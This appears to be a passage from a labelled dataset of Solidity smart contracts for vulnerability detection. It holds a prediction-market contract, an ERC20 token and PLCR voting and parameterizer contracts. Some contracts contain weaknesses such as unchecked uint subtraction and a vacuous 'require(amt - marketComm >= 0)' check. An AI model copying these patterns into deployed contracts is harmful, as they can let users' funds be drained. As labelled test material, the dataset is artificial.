event __shake(uint hid, bytes32 offchain);
event __test__shake__taker__matched(uint stake, uint payout);
event __test__shake__maker__matched(uint stake, uint payout);
event __test__shake__maker__open(uint stake);
function shake(
uint hid,
uint side,
uint takerOdds,
address maker,
uint makerOdds,
bytes32 offchain
)
public
payable
{
_shake(hid, side, msg.sender, takerOdds, maker, makerOdds, offchain);
}
function shakeTestDrive(
uint hid,
uint side,
address taker,
uint takerOdds,
address maker,
uint makerOdds,
bytes32 offchain
)
public
payable
onlyRoot
{
trial[taker].hid = hid;
trial[taker].side = side;
trial[taker].amt[takerOdds] += msg.value;
trial[taker].totalStakes[hid] += msg.value;
trial[taker].valid = true;
_shake(hid, side, taker, takerOdds, maker, makerOdds, offchain);
}
function _shake(
uint hid,
uint side,
address taker,
uint takerOdds,
address maker,
uint makerOdds,
bytes32 offchain
)
private
{
require(maker != 0);
require(takerOdds >= ODDS_1);
require(makerOdds >= ODDS_1);
Market storage m = markets[hid];
require(m.state == 1);
require(now < m.closingTime);
uint makerSide = 3 - side;
uint takerStake = msg.value;
uint makerStake = m.open[maker][makerSide].stake;
uint takerPayout = (takerStake * takerOdds) / ODDS_1;
uint makerPayout = (makerStake * makerOdds) / ODDS_1;
if (takerPayout < makerPayout) {
makerStake = takerPayout - takerStake;
makerPayout = takerPayout;
} else {
takerStake = makerPayout - makerStake;
takerPayout = makerPayout;
}
require(takerOdds * ODDS_1 >= makerOdds * (takerOdds - ODDS_1));
require(m.open[maker][makerSide].odds[makerOdds] >= makerStake);
require(m.open[maker][makerSide].stake >= makerStake);
m.open[maker][makerSide].odds[makerOdds] -= makerStake;
m.open[maker][makerSide].stake -= makerStake;
m.totalOpenStake -= makerStake;
m.matched[maker][makerSide].odds[makerOdds] += makerStake;
m.matched[maker][makerSide].stake += makerStake;
m.matched[maker][makerSide].payout += makerPayout;
m.totalMatchedStake += makerStake;
m.outcomeMatchedStake[makerSide] += makerStake;
m.matched[taker][side].odds[takerOdds] += takerStake;
m.matched[taker][side].stake += takerStake;
m.matched[taker][side].payout += takerPayout;
m.totalMatchedStake += takerStake;
m.outcomeMatchedStake[side] += takerStake;
emit __shake(hid, offchain);
emit __test__shake__taker__matched(m.matched[taker][side].stake, m.matched[taker][side].payout);
emit __test__shake__maker__matched(m.matched[maker][makerSide].stake, m.matched[maker][makerSide].payout);
emit __test__shake__maker__open(m.open[maker][makerSide].stake);
}
event __collect(uint hid, bytes32 offchain);
event __test__collect(uint network, uint market, uint trader);
function collect(uint hid, bytes32 offchain) public onlyPredictor(hid) {
_collect(hid, msg.sender, offchain);
}
function collectTestDrive(uint hid, address winner, bytes32 offchain) public onlyRoot {
_collect(hid, winner, offchain);
}
function _collect(uint hid, address winner, bytes32 offchain) private {
Market storage m = markets[hid];
require(m.state == 2);
require(now > m.disputeTime);
uint marketComm = (m.matched[winner][m.outcome].payout * m.fee) / 100;
uint networkComm = (marketComm * NETWORK_FEE) / 100;
uint amt = m.matched[winner][m.outcome].payout;
amt += m.open[winner][1].stake;
amt += m.open[winner][2].stake;
require(amt - marketComm >= 0);
require(marketComm - networkComm >= 0);
m.totalOpenStake -= m.open[winner][1].stake;
m.totalOpenStake -= m.open[winner][2].stake;
m.totalMatchedStake -= m.matched[winner][1].stake;
m.totalMatchedStake -= m.matched[winner][2].stake;
m.open[winner][1].stake = 0;
m.open[winner][2].stake = 0;
m.matched[winner][1].stake = 0;
m.matched[winner][2].stake = 0;
m.matched[winner][m.outcome].payout = 0;
winner.transfer(amt - marketComm);
m.creator.transfer(marketComm - networkComm);
root.transfer(networkComm);
emit __collect(hid, offchain);
emit __test__collect(networkComm, marketComm - networkComm, amt - marketComm);
}
event __refund(uint hid, bytes32 offchain);
event __test__refund(uint amt);
function refund(uint hid, bytes32 offchain) public onlyPredictor(hid) {
Market storage m = markets[hid];
require(m.state == 1 || m.outcome == 3);
require(now > m.reportTime);
uint amt;
amt += m.matched[msg.sender][1].stake;
amt += m.matched[msg.sender][2].stake;
amt += m.open[msg.sender][1].stake;
amt += m.open[msg.sender][2].stake;
require(amt > 0);
m.matched[msg.sender][1].stake = 0;
m.matched[msg.sender][2].stake = 0;
m.open[msg.sender][1].stake = 0;
m.open[msg.sender][2].stake = 0;
if(!(trial[msg.sender].valid)) {
msg.sender.transfer(amt);
} else {
uint trialAmt = trial[msg.sender].totalStakes[hid];
amt = amt - trialAmt;
require(amt > 0);
msg.sender.transfer(amt);
}
emit __refund(hid, offchain);
emit __test__refund(amt);
}
event __report(uint hid, bytes32 offchain);
function report(uint hid, uint outcome, bytes32 offchain) public {
Market storage m = markets[hid];
require(now <= m.reportTime);
require(msg.sender == m.creator);
require(m.state == 1);
m.outcome = outcome;
m.state = 2;
emit __report(hid, offchain);
}
event __dispute(uint hid, uint outcome, uint state, bytes32 offchain);
function disputeTestDrive(uint hid, address sender, bytes32 offchain) public onlyRoot {
require(trial[sender].hid == hid && trial[sender].valid);
_dispute(hid, sender, offchain);
}
function dispute(uint hid, bytes32 offchain) public onlyPredictor(hid) {
_dispute(hid, msg.sender, offchain);
}
function _dispute(uint hid, address sender, bytes32 offchain) private {
Market storage m = markets[hid];
require(now <= m.disputeTime);
require(m.state == 2);
require(!m.resolved);
require(!m.disputed[sender]);
m.disputed[sender] = true;
uint side = 3 - m.outcome;
uint stake = 0;
uint outcomeMatchedStake = 0;
if (side == 0) {
stake = m.matched[sender][1].stake;
stake += m.matched[sender][2].stake;
outcomeMatchedStake = m.outcomeMatchedStake[1];
outcomeMatchedStake += m.outcomeMatchedStake[2];
} else {
stake = m.matched[sender][side].stake;
outcomeMatchedStake = m.outcomeMatchedStake[side];
}
require(stake > 0);
m.disputeMatchedStake += stake;
if (100 * m.disputeMatchedStake > DISPUTE_THRESHOLD * outcomeMatchedStake) {
m.state = 3;
}
emit __dispute(hid, m.outcome, m.state, offchain);
}
event __resolve(uint hid, bytes32 offchain);
function resolve(uint hid, uint outcome, bytes32 offchain) public onlyRoot {
Market storage m = markets[hid];
require(m.state == 3);
require(outcome == 1 || outcome == 2 || outcome == 3);
m.resolved = true;
m.outcome = outcome;
m.state = 2;
emit __resolve(hid, offchain);
}
modifier onlyPredictor(uint hid) {
require(markets[hid].matched[msg.sender][1].stake > 0 ||
markets[hid].matched[msg.sender][2].stake > 0 ||
markets[hid].open[msg.sender][1].stake > 0 ||
markets[hid].open[msg.sender][2].stake > 0);
_;
}
modifier onlyRoot() {
require(msg.sender == root);
_;
}
}
| 0 | 750 |
pragma solidity ^0.4.24;
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract SetaCoin is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function SetaCoin() public {
symbol = "XTS";
name = "SetaCoin";
decimals = 18;
_totalSupply = 100000000000000000000000000;
balances[0x293Be5F3f665c6E86F89cdf188e26c059B67C77E] = _totalSupply;
Transfer(address(0), 0x293Be5F3f665c6E86F89cdf188e26c059B67C77E, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
}
| 1 | 2,705 |
pragma solidity ^0.4.23;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address addr)
internal
{
role.bearer[addr] = true;
}
function remove(Role storage role, address addr)
internal
{
role.bearer[addr] = false;
}
function check(Role storage role, address addr)
view
internal
{
require(has(role, addr));
}
function has(Role storage role, address addr)
view
internal
returns (bool)
{
return role.bearer[addr];
}
}
library LinkedListLib {
uint256 constant NULL = 0;
uint256 constant HEAD = 0;
bool constant PREV = false;
bool constant NEXT = true;
struct LinkedList{
mapping (uint256 => mapping (bool => uint256)) list;
}
function listExists(LinkedList storage self)
public
view returns (bool)
{
if (self.list[HEAD][PREV] != HEAD || self.list[HEAD][NEXT] != HEAD) {
return true;
} else {
return false;
}
}
function nodeExists(LinkedList storage self, uint256 _node)
public
view returns (bool)
{
if (self.list[_node][PREV] == HEAD && self.list[_node][NEXT] == HEAD) {
if (self.list[HEAD][NEXT] == _node) {
return true;
} else {
return false;
}
} else {
return true;
}
}
function sizeOf(LinkedList storage self) public view returns (uint256 numElements) {
bool exists;
uint256 i;
(exists,i) = getAdjacent(self, HEAD, NEXT);
while (i != HEAD) {
(exists,i) = getAdjacent(self, i, NEXT);
numElements++;
}
return;
}
function getNode(LinkedList storage self, uint256 _node)
public view returns (bool,uint256,uint256)
{
if (!nodeExists(self,_node)) {
return (false,0,0);
} else {
return (true,self.list[_node][PREV], self.list[_node][NEXT]);
}
}
function getAdjacent(LinkedList storage self, uint256 _node, bool _direction)
public view returns (bool,uint256)
{
if (!nodeExists(self,_node)) {
return (false,0);
} else {
return (true,self.list[_node][_direction]);
}
}
function getSortedSpot(LinkedList storage self, uint256 _node, uint256 _value, bool _direction)
public view returns (uint256)
{
if (sizeOf(self) == 0) { return 0; }
require((_node == 0) || nodeExists(self,_node));
bool exists;
uint256 next;
(exists,next) = getAdjacent(self, _node, _direction);
while ((next != 0) && (_value != next) && ((_value < next) != _direction)) next = self.list[next][_direction];
return next;
}
function createLink(LinkedList storage self, uint256 _node, uint256 _link, bool _direction) private {
self.list[_link][!_direction] = _node;
self.list[_node][_direction] = _link;
}
function insert(LinkedList storage self, uint256 _node, uint256 _new, bool _direction) internal returns (bool) {
if(!nodeExists(self,_new) && nodeExists(self,_node)) {
uint256 c = self.list[_node][_direction];
createLink(self, _node, _new, _direction);
createLink(self, _new, c, _direction);
return true;
} else {
return false;
}
}
function remove(LinkedList storage self, uint256 _node) internal returns (uint256) {
if ((_node == NULL) || (!nodeExists(self,_node))) { return 0; }
createLink(self, self.list[_node][PREV], self.list[_node][NEXT], NEXT);
delete self.list[_node][PREV];
delete self.list[_node][NEXT];
return _node;
}
function push(LinkedList storage self, uint256 _node, bool _direction) internal {
insert(self, HEAD, _node, _direction);
}
function pop(LinkedList storage self, bool _direction) internal returns (uint256) {
bool exists;
uint256 adj;
(exists,adj) = getAdjacent(self, HEAD, _direction);
return remove(self, adj);
}
}
contract RBAC {
using Roles for Roles.Role;
mapping (string => Roles.Role) private roles;
event RoleAdded(address addr, string roleName);
event RoleRemoved(address addr, string roleName);
function checkRole(address addr, string roleName)
view
public
{
roles[roleName].check(addr);
}
function hasRole(address addr, string roleName)
view
public
returns (bool)
{
return roles[roleName].has(addr);
}
function addRole(address addr, string roleName)
internal
{
roles[roleName].add(addr);
emit RoleAdded(addr, roleName);
}
function removeRole(address addr, string roleName)
internal
{
roles[roleName].remove(addr);
emit RoleRemoved(addr, roleName);
}
modifier onlyRole(string roleName)
{
checkRole(msg.sender, roleName);
_;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract EIP20Interface {
uint256 public totalSupply;
function balanceOf(address _owner) public view returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
library AttributeStore {
struct Data {
mapping(bytes32 => uint) store;
}
function getAttribute(Data storage self, bytes32 _UUID, string _attrName)
public view returns (uint) {
bytes32 key = keccak256(_UUID, _attrName);
return self.store[key];
}
function setAttribute(Data storage self, bytes32 _UUID, string _attrName, uint _attrVal)
public {
bytes32 key = keccak256(_UUID, _attrName);
self.store[key] = _attrVal;
}
}
library DLL {
uint constant NULL_NODE_ID = 0;
struct Node {
uint next;
uint prev;
}
struct Data {
mapping(uint => Node) dll;
}
function isEmpty(Data storage self) public view returns (bool) {
return getStart(self) == NULL_NODE_ID;
}
function contains(Data storage self, uint _curr) public view returns (bool) {
if (isEmpty(self) || _curr == NULL_NODE_ID) {
return false;
}
bool isSingleNode = (getStart(self) == _curr) && (getEnd(self) == _curr);
bool isNullNode = (getNext(self, _curr) == NULL_NODE_ID) && (getPrev(self, _curr) == NULL_NODE_ID);
return isSingleNode || !isNullNode;
}
function getNext(Data storage self, uint _curr) public view returns (uint) {
return self.dll[_curr].next;
}
function getPrev(Data storage self, uint _curr) public view returns (uint) {
return self.dll[_curr].prev;
}
function getStart(Data storage self) public view returns (uint) {
return getNext(self, NULL_NODE_ID);
}
function getEnd(Data storage self) public view returns (uint) {
return getPrev(self, NULL_NODE_ID);
}
function insert(Data storage self, uint _prev, uint _curr, uint _next) public {
require(_curr != NULL_NODE_ID);
remove(self, _curr);
require(_prev == NULL_NODE_ID || contains(self, _prev));
require(_next == NULL_NODE_ID || contains(self, _next));
require(getNext(self, _prev) == _next);
require(getPrev(self, _next) == _prev);
self.dll[_curr].prev = _prev;
self.dll[_curr].next = _next;
self.dll[_prev].next = _curr;
self.dll[_next].prev = _curr;
}
function remove(Data storage self, uint _curr) public {
if (!contains(self, _curr)) {
return;
}
uint next = getNext(self, _curr);
uint prev = getPrev(self, _curr);
self.dll[next].prev = prev;
self.dll[prev].next = next;
delete self.dll[_curr];
}
}
contract PLCRVoting {
event _VoteCommitted(uint indexed pollID, uint numTokens, address indexed voter);
event _VoteRevealed(uint indexed pollID, uint numTokens, uint votesFor, uint votesAgainst, uint indexed choice, address indexed voter, uint salt);
event _PollCreated(uint voteQuorum, uint commitEndDate, uint revealEndDate, uint indexed pollID, address indexed creator);
event _VotingRightsGranted(uint numTokens, address indexed voter);
event _VotingRightsWithdrawn(uint numTokens, address indexed voter);
event _TokensRescued(uint indexed pollID, address indexed voter);
using AttributeStore for AttributeStore.Data;
using DLL for DLL.Data;
using SafeMath for uint;
struct Poll {
uint commitEndDate;
uint revealEndDate;
uint voteQuorum;
uint votesFor;
uint votesAgainst;
mapping(address => bool) didCommit;
mapping(address => bool) didReveal;
mapping(address => uint) voteOptions;
}
uint constant public INITIAL_POLL_NONCE = 0;
uint public pollNonce;
mapping(uint => Poll) public pollMap;
mapping(address => uint) public voteTokenBalance;
mapping(address => DLL.Data) dllMap;
AttributeStore.Data store;
EIP20Interface public token;
function init(address _token) public {
require(_token != address(0) && address(token) == address(0));
token = EIP20Interface(_token);
pollNonce = INITIAL_POLL_NONCE;
}
function requestVotingRights(uint _numTokens) public {
require(token.balanceOf(msg.sender) >= _numTokens);
voteTokenBalance[msg.sender] += _numTokens;
require(token.transferFrom(msg.sender, this, _numTokens));
emit _VotingRightsGranted(_numTokens, msg.sender);
}
function withdrawVotingRights(uint _numTokens) external {
uint availableTokens = voteTokenBalance[msg.sender].sub(getLockedTokens(msg.sender));
require(availableTokens >= _numTokens);
voteTokenBalance[msg.sender] -= _numTokens;
require(token.transfer(msg.sender, _numTokens));
emit _VotingRightsWithdrawn(_numTokens, msg.sender);
}
function rescueTokens(uint _pollID) public {
require(isExpired(pollMap[_pollID].revealEndDate));
require(dllMap[msg.sender].contains(_pollID));
dllMap[msg.sender].remove(_pollID);
emit _TokensRescued(_pollID, msg.sender);
}
function rescueTokensInMultiplePolls(uint[] _pollIDs) public {
for (uint i = 0; i < _pollIDs.length; i++) {
rescueTokens(_pollIDs[i]);
}
}
function commitVote(uint _pollID, bytes32 _secretHash, uint _numTokens, uint _prevPollID) public {
require(commitPeriodActive(_pollID));
if (voteTokenBalance[msg.sender] < _numTokens) {
uint remainder = _numTokens.sub(voteTokenBalance[msg.sender]);
requestVotingRights(remainder);
}
require(voteTokenBalance[msg.sender] >= _numTokens);
require(_pollID != 0);
require(_secretHash != 0);
require(_prevPollID == 0 || dllMap[msg.sender].contains(_prevPollID));
uint nextPollID = dllMap[msg.sender].getNext(_prevPollID);
if (nextPollID == _pollID) {
nextPollID = dllMap[msg.sender].getNext(_pollID);
}
require(validPosition(_prevPollID, nextPollID, msg.sender, _numTokens));
dllMap[msg.sender].insert(_prevPollID, _pollID, nextPollID);
bytes32 UUID = attrUUID(msg.sender, _pollID);
store.setAttribute(UUID, "numTokens", _numTokens);
store.setAttribute(UUID, "commitHash", uint(_secretHash));
pollMap[_pollID].didCommit[msg.sender] = true;
emit _VoteCommitted(_pollID, _numTokens, msg.sender);
}
function commitVotes(uint[] _pollIDs, bytes32[] _secretHashes, uint[] _numsTokens, uint[] _prevPollIDs) external {
require(_pollIDs.length == _secretHashes.length);
require(_pollIDs.length == _numsTokens.length);
require(_pollIDs.length == _prevPollIDs.length);
for (uint i = 0; i < _pollIDs.length; i++) {
commitVote(_pollIDs[i], _secretHashes[i], _numsTokens[i], _prevPollIDs[i]);
}
}
function validPosition(uint _prevID, uint _nextID, address _voter, uint _numTokens) public constant returns (bool valid) {
bool prevValid = (_numTokens >= getNumTokens(_voter, _prevID));
bool nextValid = (_numTokens <= getNumTokens(_voter, _nextID) || _nextID == 0);
return prevValid && nextValid;
}
function revealVote(uint _pollID, uint _voteOption, uint _salt) public {
require(revealPeriodActive(_pollID));
require(pollMap[_pollID].didCommit[msg.sender]);
require(!pollMap[_pollID].didReveal[msg.sender]);
require(keccak256(abi.encodePacked(_voteOption, _salt)) == getCommitHash(msg.sender, _pollID));
uint numTokens = getNumTokens(msg.sender, _pollID);
if (_voteOption == 1) {
pollMap[_pollID].votesFor += numTokens;
} else {
pollMap[_pollID].votesAgainst += numTokens;
}
dllMap[msg.sender].remove(_pollID);
pollMap[_pollID].didReveal[msg.sender] = true;
pollMap[_pollID].voteOptions[msg.sender] = _voteOption;
emit _VoteRevealed(_pollID, numTokens, pollMap[_pollID].votesFor, pollMap[_pollID].votesAgainst, _voteOption, msg.sender, _salt);
}
function revealVotes(uint[] _pollIDs, uint[] _voteOptions, uint[] _salts) external {
require(_pollIDs.length == _voteOptions.length);
require(_pollIDs.length == _salts.length);
for (uint i = 0; i < _pollIDs.length; i++) {
revealVote(_pollIDs[i], _voteOptions[i], _salts[i]);
}
}
function getNumPassingTokens(address _voter, uint _pollID) public constant returns (uint correctVotes) {
require(pollEnded(_pollID));
require(pollMap[_pollID].didReveal[_voter]);
uint winningChoice = isPassed(_pollID) ? 1 : 0;
uint voterVoteOption = pollMap[_pollID].voteOptions[_voter];
require(voterVoteOption == winningChoice, "Voter revealed, but not in the majority");
return getNumTokens(_voter, _pollID);
}
function startPoll(uint _voteQuorum, uint _commitDuration, uint _revealDuration) public returns (uint pollID) {
pollNonce = pollNonce + 1;
uint commitEndDate = block.timestamp.add(_commitDuration);
uint revealEndDate = commitEndDate.add(_revealDuration);
pollMap[pollNonce] = Poll({
voteQuorum: _voteQuorum,
commitEndDate: commitEndDate,
revealEndDate: revealEndDate,
votesFor: 0,
votesAgainst: 0
});
emit _PollCreated(_voteQuorum, commitEndDate, revealEndDate, pollNonce, msg.sender);
return pollNonce;
}
function isPassed(uint _pollID) constant public returns (bool passed) {
require(pollEnded(_pollID));
Poll memory poll = pollMap[_pollID];
return (100 * poll.votesFor) > (poll.voteQuorum * (poll.votesFor + poll.votesAgainst));
}
function getTotalNumberOfTokensForWinningOption(uint _pollID) constant public returns (uint numTokens) {
require(pollEnded(_pollID));
if (isPassed(_pollID))
return pollMap[_pollID].votesFor;
else
return pollMap[_pollID].votesAgainst;
}
function pollEnded(uint _pollID) constant public returns (bool ended) {
require(pollExists(_pollID));
return isExpired(pollMap[_pollID].revealEndDate);
}
function commitPeriodActive(uint _pollID) constant public returns (bool active) {
require(pollExists(_pollID));
return !isExpired(pollMap[_pollID].commitEndDate);
}
function revealPeriodActive(uint _pollID) constant public returns (bool active) {
require(pollExists(_pollID));
return !isExpired(pollMap[_pollID].revealEndDate) && !commitPeriodActive(_pollID);
}
function didCommit(address _voter, uint _pollID) constant public returns (bool committed) {
require(pollExists(_pollID));
return pollMap[_pollID].didCommit[_voter];
}
function didReveal(address _voter, uint _pollID) constant public returns (bool revealed) {
require(pollExists(_pollID));
return pollMap[_pollID].didReveal[_voter];
}
function pollExists(uint _pollID) constant public returns (bool exists) {
return (_pollID != 0 && _pollID <= pollNonce);
}
function getCommitHash(address _voter, uint _pollID) constant public returns (bytes32 commitHash) {
return bytes32(store.getAttribute(attrUUID(_voter, _pollID), "commitHash"));
}
function getNumTokens(address _voter, uint _pollID) constant public returns (uint numTokens) {
return store.getAttribute(attrUUID(_voter, _pollID), "numTokens");
}
function getLastNode(address _voter) constant public returns (uint pollID) {
return dllMap[_voter].getPrev(0);
}
function getLockedTokens(address _voter) constant public returns (uint numTokens) {
return getNumTokens(_voter, getLastNode(_voter));
}
function getInsertPointForNumTokens(address _voter, uint _numTokens, uint _pollID)
constant public returns (uint prevNode) {
uint nodeID = getLastNode(_voter);
uint tokensInNode = getNumTokens(_voter, nodeID);
while(nodeID != 0) {
tokensInNode = getNumTokens(_voter, nodeID);
if(tokensInNode <= _numTokens) {
if(nodeID == _pollID) {
nodeID = dllMap[_voter].getPrev(nodeID);
}
return nodeID;
}
nodeID = dllMap[_voter].getPrev(nodeID);
}
return nodeID;
}
function isExpired(uint _terminationDate) constant public returns (bool expired) {
return (block.timestamp > _terminationDate);
}
function attrUUID(address _user, uint _pollID) public pure returns (bytes32 UUID) {
return keccak256(abi.encodePacked(_user, _pollID));
}
}
contract Parameterizer {
event _ReparameterizationProposal(string name, uint value, bytes32 propID, uint deposit, uint appEndDate, address indexed proposer);
event _NewChallenge(bytes32 indexed propID, uint challengeID, uint commitEndDate, uint revealEndDate, address indexed challenger);
event _ProposalAccepted(bytes32 indexed propID, string name, uint value);
event _ProposalExpired(bytes32 indexed propID);
event _ChallengeSucceeded(bytes32 indexed propID, uint indexed challengeID, uint rewardPool, uint totalTokens);
event _ChallengeFailed(bytes32 indexed propID, uint indexed challengeID, uint rewardPool, uint totalTokens);
event _RewardClaimed(uint indexed challengeID, uint reward, address indexed voter);
using SafeMath for uint;
struct ParamProposal {
uint appExpiry;
uint challengeID;
uint deposit;
string name;
address owner;
uint processBy;
uint value;
}
struct Challenge {
uint rewardPool;
address challenger;
bool resolved;
uint stake;
uint winningTokens;
mapping(address => bool) tokenClaims;
}
mapping(bytes32 => uint) public params;
mapping(uint => Challenge) public challenges;
mapping(bytes32 => ParamProposal) public proposals;
EIP20Interface public token;
PLCRVoting public voting;
uint public PROCESSBY = 604800;
function init(
address _token,
address _plcr,
uint[] _parameters
) public {
require(_token != 0 && address(token) == 0);
require(_plcr != 0 && address(voting) == 0);
token = EIP20Interface(_token);
voting = PLCRVoting(_plcr);
set("minDeposit", _parameters[0]);
set("pMinDeposit", _parameters[1]);
set("applyStageLen", _parameters[2]);
set("pApplyStageLen", _parameters[3]);
set("commitStageLen", _parameters[4]);
set("pCommitStageLen", _parameters[5]);
set("revealStageLen", _parameters[6]);
set("pRevealStageLen", _parameters[7]);
set("dispensationPct", _parameters[8]);
set("pDispensationPct", _parameters[9]);
set("voteQuorum", _parameters[10]);
set("pVoteQuorum", _parameters[11]);
set("exitTimeDelay", _parameters[12]);
set("exitPeriodLen", _parameters[13]);
}
function proposeReparameterization(string _name, uint _value) public returns (bytes32) {
uint deposit = get("pMinDeposit");
bytes32 propID = keccak256(abi.encodePacked(_name, _value));
if (keccak256(abi.encodePacked(_name)) == keccak256(abi.encodePacked("dispensationPct")) ||
keccak256(abi.encodePacked(_name)) == keccak256(abi.encodePacked("pDispensationPct"))) {
require(_value <= 100);
}
require(!propExists(propID));
require(get(_name) != _value);
proposals[propID] = ParamProposal({
appExpiry: now.add(get("pApplyStageLen")),
challengeID: 0,
deposit: deposit,
name: _name,
owner: msg.sender,
processBy: now.add(get("pApplyStageLen"))
.add(get("pCommitStageLen"))
.add(get("pRevealStageLen"))
.add(PROCESSBY),
value: _value
});
require(token.transferFrom(msg.sender, this, deposit));
emit _ReparameterizationProposal(_name, _value, propID, deposit, proposals[propID].appExpiry, msg.sender);
return propID;
}
function challengeReparameterization(bytes32 _propID) public returns (uint challengeID) {
ParamProposal memory prop = proposals[_propID];
uint deposit = prop.deposit;
require(propExists(_propID) && prop.challengeID == 0);
uint pollID = voting.startPoll(
get("pVoteQuorum"),
get("pCommitStageLen"),
get("pRevealStageLen")
);
challenges[pollID] = Challenge({
challenger: msg.sender,
rewardPool: SafeMath.sub(100, get("pDispensationPct")).mul(deposit).div(100),
stake: deposit,
resolved: false,
winningTokens: 0
});
proposals[_propID].challengeID = pollID;
require(token.transferFrom(msg.sender, this, deposit));
(uint commitEndDate, uint revealEndDate,,,) = voting.pollMap(pollID);
emit _NewChallenge(_propID, pollID, commitEndDate, revealEndDate, msg.sender);
return pollID;
}
function processProposal(bytes32 _propID) public {
ParamProposal storage prop = proposals[_propID];
address propOwner = prop.owner;
uint propDeposit = prop.deposit;
if (canBeSet(_propID)) {
set(prop.name, prop.value);
emit _ProposalAccepted(_propID, prop.name, prop.value);
delete proposals[_propID];
require(token.transfer(propOwner, propDeposit));
} else if (challengeCanBeResolved(_propID)) {
resolveChallenge(_propID);
} else if (now > prop.processBy) {
emit _ProposalExpired(_propID);
delete proposals[_propID];
require(token.transfer(propOwner, propDeposit));
} else {
revert();
}
assert(get("dispensationPct") <= 100);
assert(get("pDispensationPct") <= 100);
now.add(get("pApplyStageLen"))
.add(get("pCommitStageLen"))
.add(get("pRevealStageLen"))
.add(PROCESSBY);
delete proposals[_propID];
}
function claimReward(uint _challengeID) public {
Challenge storage challenge = challenges[_challengeID];
require(challenge.tokenClaims[msg.sender] == false);
require(challenge.resolved == true);
uint voterTokens = voting.getNumPassingTokens(msg.sender, _challengeID);
uint reward = voterReward(msg.sender, _challengeID);
challenge.winningTokens -= voterTokens;
challenge.rewardPool -= reward;
challenge.tokenClaims[msg.sender] = true;
emit _RewardClaimed(_challengeID, reward, msg.sender);
require(token.transfer(msg.sender, reward));
}
function claimRewards(uint[] _challengeIDs) public {
for (uint i = 0; i < _challengeIDs.length; i++) {
claimReward(_challengeIDs[i]);
}
}
function voterReward(address _voter, uint _challengeID)
public view returns (uint) {
uint winningTokens = challenges[_challengeID].winningTokens;
uint rewardPool = challenges[_challengeID].rewardPool;
uint voterTokens = voting.getNumPassingTokens(_voter, _challengeID);
return (voterTokens * rewardPool) / winningTokens;
}
function canBeSet(bytes32 _propID) view public returns (bool) {
ParamProposal memory prop = proposals[_propID];
return (now > prop.appExpiry && now < prop.processBy && prop.challengeID == 0);
}
function propExists(bytes32 _propID) view public returns (bool) {
return proposals[_propID].processBy > 0;
}
